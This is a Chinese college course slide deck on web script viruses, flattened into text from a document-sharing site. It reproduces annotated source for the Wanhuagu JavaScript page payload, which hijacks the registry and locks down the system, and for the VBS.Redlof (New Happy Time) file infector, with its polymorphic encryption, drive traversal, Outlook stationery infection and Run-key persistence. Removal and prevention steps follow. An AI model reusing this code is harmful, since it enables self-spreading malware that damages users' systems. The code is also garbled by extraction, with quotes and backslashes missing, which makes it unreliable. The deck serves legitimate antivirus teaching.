资源预览内容
第1页 / 共47页
第2页 / 共47页
第3页 / 共47页
第4页 / 共47页
第5页 / 共47页
第6页 / 共47页
第7页 / 共47页
第8页 / 共47页
第9页 / 共47页
第10页 / 共47页
亲,该文档总共47页,到这儿已超出免费预览范围,如果喜欢就下载吧!
资源描述
Virus计算机病毒与防治计算机病毒与防治重庆电子工程职业学院重庆电子工程职业学院计算机病毒与防治课程小组教学单元3-4 网页脚本病毒防治万花谷病毒的手工清除万花谷病毒特点及代码分析 梅丽莎病毒特点及代码分析第二讲第二讲 典型网页病毒剖析典型网页病毒剖析计算机病毒与防治课程小组 梅丽莎病毒的手工清除万花谷病毒特点计算机病毒与防治课程小组病毒类型 网页脚本病毒危险级别 影响系统 Win 9X/ME/NT/2000/XP/2003Win 9X/ME/NT/2000/XP/2003万花谷病毒特点病毒名称: 万花谷万花谷病毒特点计算机病毒与防治课程小组曾经在互连网上散发过一个美丽诱人的网址“万花谷”,这实际是一个恶意“陷阱”,有人经不住诱惑,只用鼠标轻轻点一下,计算机就立即瘫痪了,这是有人利用Java最新技术进行破坏的一个恶意网址。本病毒是在页面中嵌入了恶意的JavaScript代码,它最初出现在 http:/on888.home.chinaren.com 个人网站上,随后其他一些个人主页也模仿或被感染了该病毒代码。万花谷病毒特点万花谷病毒特点计算机病毒与防治课程小组其破坏特性如下:(1)用户不能正常使用WINDOWS的DOS功能程序;(2)用户不能正常退出WINDOWS;(3)开始菜单上的关闭系统、运行等栏目被屏蔽,防止用户重新以DOS方式启动,关闭DOS命令、关闭REGEDIT命令等。(4)将IE的浏览器的首页和收藏夹中都加入了含有该有害网页代码的网络地址。具体的表现形式是:(1)网络地址是:www.on888.xxx.xxx.com;(2)在IE的“收藏夹”中自动加上“万花谷”的快捷方式,网络地址是:http:/96xx.xxx.com;万花谷病毒特点万花谷病毒源码分析计算机病毒与防治课程小组document.write();functionAddFavLnk(loc,DispName,SiteURL)varShor=Shl.CreateShortcut(loc+DispName+.URL);Shor.TargetPath=SiteURL;Shor.Save();functionf()Try/ActiveXinitializationa1=document.applets0;a1.setCLSID(F935DC22-1CF0-11D0-ADB9-00C04FD58A0B);a1.createInstance();Shl=a1.GetObject();a1.setCLSID(0D43FE01-F093-11CF-8940-00A0C9054228);a1.createInstance();FSO=a1.GetObject();a1.setCLSID(F935DC26-1CF0-11D0-ADB9-00C04FD58A0B);a1.createInstance();Net=a1.GetObject();万花谷病毒源码分析计算机病毒与防治课程小组tryif(documents.cookies.indexOf(Chg)=-1)/以下内容是对注册表进行修改Shl.RegWrite(HKCUSoftwareMicrosoftInternetExplorerMainStartPage,http:/com.6to23.com/);varexpdate=newDate(newDate().getTime()+(1);documents.cookies=Chg=general;expires=+expdate.toGMTString()+;path=/;/设置IE主页Shl.RegWrite(HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoRun,01,REG_BINARY);/消除RUN按纽Shl.RegWrite(HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoClose,01,REG_BINARY);/消除关闭按纽Shl.RegWrite(HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoLogOff,01,REG_BINARY);/消除注销按纽Shl.RegWrite(HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoDrives,63000000,REG_DWord);/隐藏盘符万花谷病毒源码分析计算机病毒与防治课程小组Shl.RegWrite(HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystemDisableRegistryTools,00000001,REG_DWORD);/禁止注册表编辑器Shl.RegWrite(HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoDesktop,00000001,REG_DWORD);/屏蔽所有桌面图标Shl.RegWrite(HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesWinOldAppDisabled,00000001,REG_DWORD);/禁止运行Dos程序Shl.RegWrite(HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesWinOldAppNoRealMode,00000001,REG_DWORD);/屏蔽所有桌面图标Shl.RegWrite(HKLMSoftwareMicrosoftWindowsCurrentVersionWinlogonLegalNoticeCaption,您的计算机已经被http:/www.cnhack.org/优化:));/设置开机提示Shl.RegWrite(HKLMSoftwareMicrosoftWindowsCurrentVersionWinlogonLegalNoticeText,您的计算机已经被http:/www.cnhack.org/优化:));/弹出窗口中的内容万花谷病毒源码分析计算机病毒与防治课程小组Shl.RegWrite(HKLMSoftwareMicrosoftInternetExplorerMainWindowTitle,新的标题http:/com.6to23.com/&http:/www.cnhack.org/);Shl.RegWrite(HKCUSoftwareMicrosoftInternetExplorerMainWindowTitle,新的标题http:/com.6to23.com/&http:/www.cnhack.org/);/设置IE标题varexpdate=newDate(newDate().getTime()+(1);documents.cookies=Chg=general;expires=+expdate.toGMTString()+;path=/;catch(e)catch(e)functioninit()setTimeout(f(),1000);init();万花谷病毒发作现象计算机病毒与防治课程小组万花谷病毒发作部分现象截图未中万花谷病毒时截图万花谷病毒手工清除计算机病毒与防治课程小组方法一(利用 Windows 提供的恢复注册表功能):在“开始-运行”中输入Regedit命令,打开注册表编辑器,点选“文件”菜单下的“导入”命令,选择以前备份的注册表文件,确定即可完成注册表的还原。方法二(采用 VBS 或 JS 脚本来删除或修改注册表项):进入系统后打开记事本,输入以下内容:万花谷病毒手工清除计算机病毒与防治课程小组DimRSetR=CreateObject(WScript.Shell)RemWriteRegeditR.RegWriteHKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoRun,0,REG_BINARY;修复RUN按纽R.RegWriteHKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoClose,0,REG_BINARY;修复关闭按纽R.RegWriteHKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoLogOff,0,REG_BINARY;修复注销按纽R.RegWriteHKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoDrives,00000000,REG_DWORD;取消隐藏盘符R.RegWriteHKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystemDisableRegistryTools,00000000,REG_DWORD;取消禁止注册表R.RegWriteHKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoDesktop“,”00000000“,”REG_DWORD“;万花谷病毒手工清除R.RegWriteHKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesWinOldAppDisabled,00000000,REG_DWORDR.RegWriteHKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesWinOldAppNoRealMode,00000000,REG_DWORDR.RegWriteHKLMSoftwareMicrosoftWindowsCurrentVersionWinlogonLegalNoticeCaption,REG_SZR.RegWriteHKLMSoftwareMicrosoftWindowsCurrentVersionWinlogonLegalNoticeText,REG_SZ;重设开机提示R.RegWrite“HKLMSoftwareMicrosoftInternetExplorerMainWindowTitle”,“”,REG_SZ;重设IE标题R.RegWriteHKCUSoftwareMicrosoftInternetExplorerMainStartPage,REG_SZ“以文件名“RegClean.vbs”存盘后双击运行该文件。重新启动计算机即完成系统恢复。计算机病毒与防治课程小组新欢乐时光病毒特点病毒名称: 新欢乐时光病毒类型: 网页脚本病毒危险级别: 影响系统: Win 9X/ME/NT/2000Win 9X/ME/NT/2000英文名包括有:HTML.Redlof.A Symantec, VBS.Redlof AVP, VBS_REDLOF.A Trend, VBS/Redlof-A Sophos, VBS.KJ 金山, Script.RedLof 瑞星, VBS/KJ 江民计算机病毒与防治课程小组新欢乐时光病毒特点新欢乐时光病毒特点新欢乐时光病毒是一个多变形、加密病毒,感染扩展名为.html, .htm, .asp, .php, .jsp, .htt和.vbs文件,同时该病毒会大量生成folder.htt和desktop.ini,并在%windir%System中生成一个名字叫Kernel.dll(Windows 9x/Me)或kernel32.dll(Windows NT/2000)的文件,修改.dll文件的打开方式,感染Outlook的信纸文件。感染这个病毒后有两个明显的特征:a.在每个目录中都会生成folder.htt(带毒文件)和desktop.ini(目录配置文件);b.电脑运行速度明显变慢,在任务列表中可以看到有大量的Wscript.exe程序在运行。计算机病毒与防治课程小组新欢乐时光病毒特点新欢乐时光病毒这个网页病毒利用微软IE的漏洞,通过感染一些.html, .htm, .asp, .php, .jsp, .htt和.vbs等文件进行传播。然而由于病毒的本身特性,其传播的途径也有多种:a.通过网页传播。由于病毒会感染网页文件,如果那些网站站长不小心将带毒的网页放到网站上,用户不小心浏览了这些网页就会被病毒感染了;b.通过局域网。当本地计算机设有可写权限的共享目录,或者访问局域网上带毒的计算机的时候就会感染病毒;对于Windows NT/2000系统,由于存在默认的管理用共享目录,因此,管理员的疏忽也可能会造成感染。c.通过电子邮件。如果发件人使用了带毒的网页文件作为信纸,或者信件中有带毒的网页文件,那么,只要收件人浏览了邮件,也会被感染病毒;d.通过移动介质,如软盘、移动硬盘、光盘等。由于病毒会生成folder.htt和desktop.ini,所以在打开移动介质或打开其文件夹的时候,就会激活并感染病毒。 计算机病毒与防治课程小组新欢乐时光代码分析DimInWhere,HtmlText,VbsText,DegreeSign,AppleObject,FSO,WsShell,WinPath,SubE,FinalyDiskSubKJ_start()初始化变量KJSetDim()初始化环境KJCreateMilieu()感染本地或者共享上与html所在目录KJLikeIt()通过vbs感染Outlook邮件模板KJCreateMail()进行病毒传播KJPropagate()EndSub计算机病毒与防治课程小组新欢乐时光病毒主运行程序代码新欢乐时光代码分析FunctionKJAppendTo(FilePath,TypeStr)OnErrorResumeNext以只读方式打开指定文件SetReadTemp=FSO.OpenTextFile(FilePath,1)将文件内容读入到TmpStr变量中TmpStr=ReadTemp.ReadAll判断文件中是否存在“KJ_start()”字符串,若存在说明已经感染,退出函数;若文件长度小于1,也退出函数。IfInstr(TmpStr,KJ_start()0OrLen(TmpStr)1ThenReadTemp.CloseExitFunctionEndIf如果传过来的类型是“htt“,在文件头加上调用页面的时候加载KJ_start()函数;在文件尾追加html版本的加密病毒体。如果是”html”:在文件尾追加调用页面的时候加载KJ_start()函数和html版本的病毒体;如果是vbs:在文件尾追加vbs版本的病毒体IfTypeStr=httThenReadTemp.CloseSetFileTemp=FSO.OpenTextFile(FilePath,2)FileTemp.Write&vbCrLf&TmpStr&vbCrLf&HtmlText 函数功能:向指定类型的指定文件追加病毒计算机病毒与防治课程小组FileTemp.CloseSetFAttrib=FSO.GetFile(FilePath)FAttrib.attributes=34ElseReadTemp.CloseSetFileTemp=FSO.OpenTextFile(FilePath,8)IfTypeStr=htmlThenFileTemp.WritevbCrLf&vbCrLf&vbCrLf&HtmlTextElseIfTypeStr=vbsThenFileTemp.WritevbCrLf&VbsTextEndIfFileTemp.CloseEndIfEndFunction新欢乐时光代码分析计算机病毒与防治课程小组新欢乐时光代码分析计算机病毒与防治课程小组函数功能:改变子目录以及盘符FunctionKJChangeSub(CurrentString,LastIndexChar)判断是否是根目录IfLastIndexChar=0Then如果是根目录:如果是C:,返回FinalyDisk盘,并将SubE置为0如果不是C:,返回将当前盘符递减1,并将SubE置为0IfLeft(LCase(CurrentString),1)=LCase(c)ThenKJChangeSub=FinalyDisk&:SubE=0ElseKJChangeSub=Chr(Asc(Left(LCase(CurrentString),1)-1)&:SubE=0EndIfElse如果不是根目录,则返回上一级目录名称KJChangeSub=Mid(CurrentString,1,LastIndexChar)EndIfEndFunction新欢乐时光代码分析计算机病毒与防治课程小组FunctionKJCreateMail()OnErrorResumeNext如果当前执行文件是html的,就退出函数IfInWhere=htmlThenExitFunctionEndIf取系统盘的空白页的路径ShareFile=Left(WinPath,3)&ProgramFilesCommonFilesMicrosoftSharedStationeryblank.htm如果存在这个文件,就向其追加病毒体,否则生成含有病毒体的文件If(FSO.FileExists(ShareFile)ThenCallKJAppendTo(ShareFile,html)ElseSetFileTemp=FSO.OpenTextFile(ShareFile,2,true)FileTemp.Write&vbCrLf&vbCrLf&HtmlTextFileTemp.CloseEndIf功能:感染邮件部分 新欢乐时光代码分析计算机病毒与防治课程小组取得当前用户的ID和OutLook的版本DefaultId=WsShell.RegRead(HKEY_CURRENT_USERIdentitiesDefaultUserID)OutLookVersion=WsShell.RegRead(HKEY_LOCAL_MACHINESoftwareMicrosoftOutlookExpressMediaVer)激活信纸功能,并感染所有信纸WsShell.RegWriteHKEY_CURRENT_USERIdentities&DefaultId&SoftwareMicrosoftOutlookExpress&Left(OutLookVersion,1)&.0MailComposeUseStationery,1,REG_DWORDCallKJMailReg(HKEY_CURRENT_USERIdentities&DefaultId&SoftwareMicrosoftOutlookExpress&Left(OutLookVersion,1)&.0MailStationeryName,ShareFile)CallKJMailReg(HKEY_CURRENT_USERIdentities&DefaultId&SoftwareMicrosoftOutlookExpress&Left(OutLookVersion,1)&.0MailWideStationeryName,ShareFile)新欢乐时光代码分析计算机病毒与防治课程小组WsShell.RegWriteHKEY_CURRENT_USERSoftwareMicrosoftOffice9.0OutlookOptionsMailEditorPreference,131072,REG_DWORDCallKJMailReg(HKEY_CURRENT_USERSoftwareMicrosoftWindowsMessagingSubsystemProfilesMicrosoftOutlookInternetSettings0a0d020000000000c000000000000046001e0360,blank)CallKJMailReg(HKEY_CURRENT_USERSoftwareMicrosoftWindowsNTCurrentVersionWindowsMessagingSubsystemProfilesMicrosoftOutlookInternetSettings0a0d020000000000c000000000000046001e0360,blank)WsShell.RegWriteHKEY_CURRENT_USERSoftwareMicrosoftOffice10.0OutlookOptionsMailEditorPreference,131072,REG_DWORDCallKJMailReg(HKEY_CURRENT_USERSoftwareMicrosoftOffice10.0CommonMailSettingsNewStationery,blank)KJummageFolder(Left(WinPath,3)&ProgramFilesCommonFilesMicrosoftSharedStationery)EndFunction新欢乐时光代码分析计算机病毒与防治课程小组FunctionKJCreateMilieu()OnErrorResumeNextTempPath=判断操作系统是NT/2000还是9XIfNot(FSO.FileExists(WinPath&WScript.exe)ThenTempPath=system32EndIf为了文件名起到迷惑性,并且不会与系统文件冲突。如果是NT/2000则启动文件为systemKernel32.dll,如果是9x启动文件则为systemKernel.dllIfTempPath=system32ThenStartUpFile=WinPath&SYSTEMKernel32.dllElseStartUpFile=WinPath&SYSTEMKernel.dllEndIf添加Run值,添加刚才生成的启动文件路径WsShell.RegWriteHKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunKernel32,StartUpFile 功能:创建系统环境 新欢乐时光代码分析计算机病毒与防治课程小组拷贝前期备份的文件到原来的目录FSO.CopyFileWinPath&webkjwall.gif,WinPath&webFolder.httFSO.CopyFileWinPath&system32kjwall.gif,WinPath&system32desktop.ini向%windir%webFolder.htt追加病毒体CallKJAppendTo(WinPath&webFolder.htt,htt)改变dll的MIME头,改变dll的默认图标,改变dll的打开方式WsShell.RegWriteHKEY_CLASSES_ROOT.dll,dllfileWsShell.RegWriteHKEY_CLASSES_ROOT.dllContentType,application/x-msdownloadWsShell.RegWriteHKEY_CLASSES_ROOTdllfileDefaultIcon,WsShell.RegRead(HKEY_CLASSES_ROOTvxdfileDefaultIcon)WsShell.RegWriteHKEY_CLASSES_ROOTdllfileScriptEngine,VBScriptWsShell.RegWriteHKEY_CLASSES_ROOTdllFileShellOpenCommand,WinPath&TempPath&WScript.exe%1%*新欢乐时光代码分析计算机病毒与防治课程小组WsShell.RegWriteHKEY_CLASSES_ROOTdllFileShellExPropertySheetHandlersWSHProps,60254CA5-953B-11CF-8C96-00AA00B8708CWsShell.RegWriteHKEY_CLASSES_ROOTdllFileScriptHostEncode,85131631-480C-11D2-B1F9-00C04F86C324启动时加载的病毒文件中写入病毒体SetFileTemp=FSO.OpenTextFile(StartUpFile,2,true)FileTemp.WriteVbsTextFileTemp.CloseEndFunction新欢乐时光代码分析计算机病毒与防治课程小组功能:针对html文件进行处理,如果访问的是本地的或者共享上的文件,感染目录 FunctionKJLikeIt()如果当前执行文件不是html的就退出程序IfInWherehtmlThenExitFunctionEndIfThisLocation=document.location取得文档当前路径IfLeft(ThisLocation,4)=“file”Then如果是本地或网上共享文件ThisLocation=Mid(ThisLocation,9)如果这个文件扩展名不为空,在ThisLocation中保存它的路径IfFSO.GetExtensionName(ThisLocation)thenThisLocation=Left(ThisLocation,Len(ThisLocation)-Len(FSO.GetFileName(ThisLocation)EndIfIfLen(ThisLocation)3Then如果ThisLocation的长度大于3就尾追一个ThisLocation=ThisLocation&EndIfKJummageFolder(ThisLocation)感染这个目录EndIfEndFunction新欢乐时光代码分析计算机病毒与防治课程小组功能:如果注册表指定键值不存在,则向指定位置写入指定文件名FunctionKJMailReg(RegStr,FileName)OnErrorResumeNext如果注册表指定键值不存在,则向指定位置写入指定文件名RegTempStr=WsShell.RegRead(RegStr)IfRegTempStr=ThenWsShell.RegWriteRegStr,FileNameEndIfEndFunction新欢乐时光代码分析计算机病毒与防治课程小组功能:遍历并返回目录路径FunctionKJOboSub(CurrentString)SubE=0TestOut=0DoWhileTrueTestOut=TestOut+1IfTestOut28ThenCurrentString=FinalyDisk&:ExitDoEndIfOnErrorResumeNext取得当前目录的所有子目录,并且放到字典中SetThisFolder=FSO.GetFolder(CurrentString)SetDicSub=CreateObject(Scripting.Dictionary)SetFolders=ThisFolder.SubFoldersFolderCount=0ForEachTempFolderinFoldersFolderCount=FolderCount+1DicSub.addFolderCount,TempFolder.NameNext新欢乐时光代码分析计算机病毒与防治课程小组如果没有子目录了,就调用KJChangeSub返回上一级目录或者更换盘符,并将SubE置1IfDicSub.Count=0ThenLastIndexChar=InstrRev(CurrentString,Len(CurrentString)-1)SubString=Mid(CurrentString,LastIndexChar+1,Len(CurrentString)-LastIndexChar-1)CurrentString=KJChangeSub(CurrentString,LastIndexChar)SubE=1Else如果存在子目录如果SubE为0,则将CurrentString变为它的第1个子目录IfSubE=0ThenCurrentString=CurrentString&DicSub.Item(1)&ExitDoElse如果SubE为1,继续遍历子目录,并将下一个子目录返回j=0新欢乐时光代码分析计算机病毒与防治课程小组Forj=1ToFolderCountIfLCase(SubString)=LCase(DicSub.Item(j)ThenIfjFolderCountThenCurrentString=CurrentString&DicSub.Item(j+1)&ExitDoEndIfEndIfNextLastIndexChar=InstrRev(CurrentString,Len(CurrentString)-1)SubString=Mid(CurrentString,LastIndexChar+1,Len(CurrentString)-LastIndexChar-1)CurrentString=KJChangeSub(CurrentString,LastIndexChar)EndIfEndIfLoopKJOboSub=CurrentStringEndFunction新欢乐时光代码分析计算机病毒与防治课程小组功能:病毒传播FunctionKJPropagate()OnErrorResumeNextRegPathvalue=HKEY_LOCAL_MACHINESoftwareMicrosoftOutlookExpressDegreeDiskDegree=WsShell.RegRead(RegPathvalue)如果不存在Degree这个键值,DiskDegree则为FinalyDisk盘IfDiskDegree=ThenDiskDegree=FinalyDisk&:EndIf继DiskDegree置后感染5个目录Fori=1to5DiskDegree=KJOboSub(DiskDegree)KJummageFolder(DiskDegree)Next将感染记录保存在HKEY_LOCAL_MACHINESoftwareMicrosoftOutlookExpressDegree键值中WsShell.RegWriteRegPathvalue,DiskDegreeEndFunction新欢乐时光代码分析计算机病毒与防治课程小组功能:感染指定目录FunctionKJummageFolder(PathName)OnErrorResumeNext取得目录中的所有文件集SetFolderName=FSO.GetFolder(PathName)SetThisFiles=FolderName.FilesHttExists=0ForEachThisFileInThisFilesFileExt=UCase(FSO.GetExtensionName(ThisFile.Path)判断扩展名若是HTM,HTML,ASP,PHP,JSP则向文件中追加HTML版的病毒体若是VBS则向文件中追加VBS版的病毒体若是HTT,则标志为已经存在HTT了IfFileExt=HTMOrFileExt=HTMLOrFileExt=ASPOrFileExt=PHPOrFileExt=JSPThenCallKJAppendTo(ThisFile.Path,html)ElseIfFileExt=VBSThenCallKJAppendTo(ThisFile.Path,vbs)ElseIfFileExt=HTTThenHttExists=1EndIfNext新欢乐时光代码分析计算机病毒与防治课程小组如果所给的路径是桌面,则标志为已经存在HTT了If(UCase(PathName)=UCase(WinPath&Desktop)Or(UCase(PathName)=UCase(WinPath&Desktop)ThenHttExists=1EndIf如果不存在HTT向目录中追加病毒体IfHttExists=0ThenFSO.CopyFileWinPath&system32desktop.ini,PathNameFSO.CopyFileWinPath&webFolder.htt,PathNameEndIfEndFunction新欢乐时光代码分析计算机病毒与防治课程小组功能:定义FSO,WsShell对象,取得最后一个可用磁盘卷标,生成传染用的加密字串 备份系统中的webfolder.htt和system32desktop.ini FunctionKJSetDim()OnErrorResumeNextErr.Clear 测试当前执行文件是html还是vbs TestIt=WScript.ScriptFullnameIfErrThenInWhere=htmlElseInWhere=vbsEndIf 创建文件访问对象和Shell对象IfInWhere=vbsThenSetFSO=CreateObject(Scripting.FileSystemObject)SetWsShell=CreateObject(WScript.Shell)Else新欢乐时光代码分析计算机病毒与防治课程小组SetAppleObject=document.applets(KJ_guest)AppleObject.setCLSID(F935DC22-1CF0-11D0-ADB9-00C04FD58A0B)AppleObject.createInstance()SetWsShell=AppleObject.GetObject()AppleObject.setCLSID(0D43FE01-F093-11CF-8940-00A0C9054228)AppleObject.createInstance()SetFSO=AppleObject.GetObject()EndIfSetDiskObject=FSO.Drives判断磁盘类型0:Unknown,1:Removable,2:Fixed,3:Network,4:CD-ROM,5:RAMDisk如果不是可移动磁盘或者固定磁盘就跳出循环。可能作者考虑的是网络磁盘、CD-ROM、RAMDisk都是在比较靠后的位置。呵呵,如果C:是RAMDISK会怎么样?ForEachDiskTempInDiskObjectIfDiskTemp.DriveType2AndDiskTemp.DriveType1ThenExitForEndIfFinalyDisk=DiskTemp.DriveLetterNext新欢乐时光代码分析计算机病毒与防治课程小组 此前的这段病毒体已经解密,并且存放在ThisText中,现在为了传播,需要对它进行再加密。Dim OtherArr(3)Randomize 随机生成4个算子 For i=0 To 3 OtherArr(i) = Int(9 * Rnd) Next TempString = For i=1 To Len(ThisText)TempNum = Asc(Mid(ThisText,i,1)If TempNum = 13 Then 对回车、换行(0x0D,0x0A)做特别的处理TempNum = 28 ElseIf TempNum = 10 ThenTempNum = 29End If 很简单的加密处理,每个字符减去相应的算子,那么在解密的时候只要按照这个顺序每个字符加上相应的算子就可以了。新欢乐时光代码分析计算机病毒与防治课程小组TempChar=Chr(TempNum-OtherArr(iMod4)IfTempChar=Chr(34)ThenTempChar=Chr(18)EndIfTempString=TempString&TempCharNext含有解密算法的字串UnLockStr=Execute(DimKeyArr(3),ThisText&vbCrLf&KeyArr(0)=&OtherArr(0)&vbCrLf&KeyArr(1)=&OtherArr(1)&vbCrLf&KeyArr(2)=&OtherArr(2)&vbCrLf&KeyArr(3)=&OtherArr(3)&vbCrLf&Fori=1ToLen(ExeString)&vbCrLf&TempNum=Asc(Mid(ExeString,i,1)&vbCrLf&IfTempNum=18Then&vbCrLf&TempNum=34&vbCrLf&EndIf&vbCrLf&TempChar=Chr(TempNum+KeyArr(iMod4)&vbCrLf&IfTempChar=Chr(28)Then&vbCrLf&TempChar=vbCr&vbCrLf&ElseIfTempChar=Chr(29)Then&vbCrLf&TempChar=vbLf&vbCrLf&EndIf&vbCrLf&ThisText=ThisText&TempChar&vbCrLf&Next)&vbCrLf&Execute(ThisText)新欢乐时光代码分析计算机病毒与防治课程小组将加密好的病毒体复制给变量ThisTextThisText=ExeString=&TempString&生成html感染用的脚本HtmlText=&vbCrLf&document.write&vbCrLf&vbCrLf&vbCrLf&ThisText&vbCrLf&UnLockStr&vbCrLf&vbCrLf&vbCrLf&生成vbs感染用的脚本VbsText=ThisText&vbCrLf&UnLockStr&vbCrLf&KJ_start()取得Windows目录:GetSpecialFolder(n),0:WindowsFolder,1:SystemFolder,2:TemporaryFolder新欢乐时光代码分析计算机病毒与防治课程小组如果系统目录存在webFolder.htt和system32desktop.ini,则用kjwall.gif文件名备份它们。WinPath=FSO.GetSpecialFolder(0)&If(FSO.FileExists(WinPath&webFolder.htt)ThenFSO.CopyFileWinPath&webFolder.htt,WinPath&webkjwall.gifEndIfIf(FSO.FileExists(WinPath&system32desktop.ini)ThenFSO.CopyFileWinPath&system32desktop.ini,WinPath&system32kjwall.gifEndIfEndFunction新欢乐时光行为分析中毒现象截图新欢乐时光手工清除当计算机感染了“欢乐时光”病毒后建议在安全模式或纯DOS中清除。因为该病毒在安全模式下不会被激活,所以可以放心地在安全模式下杀毒;在正常模式中清除需要对Windows系统有非常深入地了解,一般用户是很难干净地清除病毒的;推荐使用专杀工具在安全模式下进行杀毒,并且,在确认清除完成之前不要使用“Web视图”显示任何文件夹,比较稳妥的做法是在进入安全模式之前将所有的Web视图文件夹改为传统Windows风格。在检查病毒的时候,建议同时检查平时常用的移动存储介质,如光盘、软盘、移动硬盘等,因为这是病毒重复感染的隐患。对于联网的计算机,杀毒之前建议取消所有的共享目录。手工清除新欢乐时光病毒新欢乐时光手工清除在Windows正常模式下可以采取如下的步骤进行清除。(1)打开注册表编辑器,删除HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunKernel32 键值;(2)参照其他系统,恢复 HKEY_CLASSES_ROOTdllFile 下键值;参照其他系统,恢复 HKEY_CURRENT_USERIdentities & UserID & SoftwareMicrosoftOutlook Express & OEVersion& Mail 下相关键值;参照其他系统,恢复 HKEY_CURRENT_USERSoftwareMicrosoftOffice9.0OutlookOptionsMail 下相关键值;参照其他系统,恢复 HKEY_CURRENT_USERSoftwareMicrosoftOffice10.0OutlookOptionsMail 下相关键值;(3)删除文件参照其他系统,恢复 %Windows%web 目录下 folder.htt 文件;删除 Kernel32.dll 或者 Kernel.dll 文件;删除 kjwall.gif;查找所有存在 KJ_start 字符串的文件,删除文件尾部的病毒代码。手工清除新欢乐时光病毒新欢乐时光病毒预防采用以下操作进行预防:a.连接微软升级网站为系统打上必要的补丁;b.请安装反病毒软件,并升级到最新的病毒库,坚持打开实时防病毒监控程序和及时升级病毒库;c.删除信箱中可疑的电子邮件,建议尽量不要使用信纸;d.对于Windows 9x/Me,建议取消共享,如果必须设置共享的话,建议设置为只读或者设置密码;对于Windows NT/2000,应为文件夹配置适当的权限,在有域的网络中,所有用户,特别是管理员级用户必须保证自己不感染病毒。在Windows XP中一般不会感染该病毒。e.在使用移动储存介质之前,如光盘、软盘、移动硬盘等,建议先使用防病毒软件检查一遍是否存在病毒,如果光盘有病毒的话,建议不要再使用该光盘;如果不具备这个条件,关闭Web视图可以部分地防止这个病毒,但对于被感染的html等文件,则这个方法可能无法奏效。 预防新欢乐时光病毒新欢乐时光病毒预防f.特别地:利用这个病毒的设计缺陷,可以在%windir%System创建名为kernel.dll(Win9x/ME系统)或kernel32.dll(WinNT/2000系统)的目录,这样可以在一定程度上阻止病毒的传染。特别注意:在不同的系统中创建的目录名称是不同的,应根据不同的系统来创建对应的目录。如果提示不能创建文件夹,请在杀毒后再创建。g.对于一些熟练操作计算机的用户来说,可以通过编辑原正常的folder.htt,在文件头加上这一句话,可以预防病毒的传染;h.还有一些情况是某些防病毒程序并不能有效地防止病毒的传播,遇到这种情况的时候建议换一个防病毒软件。 本讲小结万花谷病毒特点及代码分析万花谷病毒手工清除新欢乐时光病毒特点及代码分析掌握典型网页病毒行为分析,具有一定的反病毒能力计算机病毒与防治课程小组 新欢乐时光病毒手工清除Virus
收藏 下载该资源
网站客服QQ:2055934822
金锄头文库版权所有
经营许可证:蜀ICP备13022795号 | 川公网安备 51140202000112号